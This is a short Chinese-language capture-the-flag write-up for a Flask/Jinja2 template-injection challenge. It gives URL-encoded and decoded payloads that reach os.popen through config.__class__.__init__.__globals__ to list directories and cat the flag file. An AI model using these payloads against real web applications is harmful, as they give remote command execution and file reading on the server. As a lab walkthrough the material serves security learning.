1. 打开后,题目提示存在模板注入
2. 先进行ls查看一下存在的文件。
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
根据URL转换表,%20 -> 空格 %27 -> '
, 上面的URL对应字符串为:
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
3. 查看网页返回结果,发现存在一些文件夹
4. 进行一个个进入查看,发现第一个看的app文件夹里就有flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
5. 因为没有过滤直接cat ../app/flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}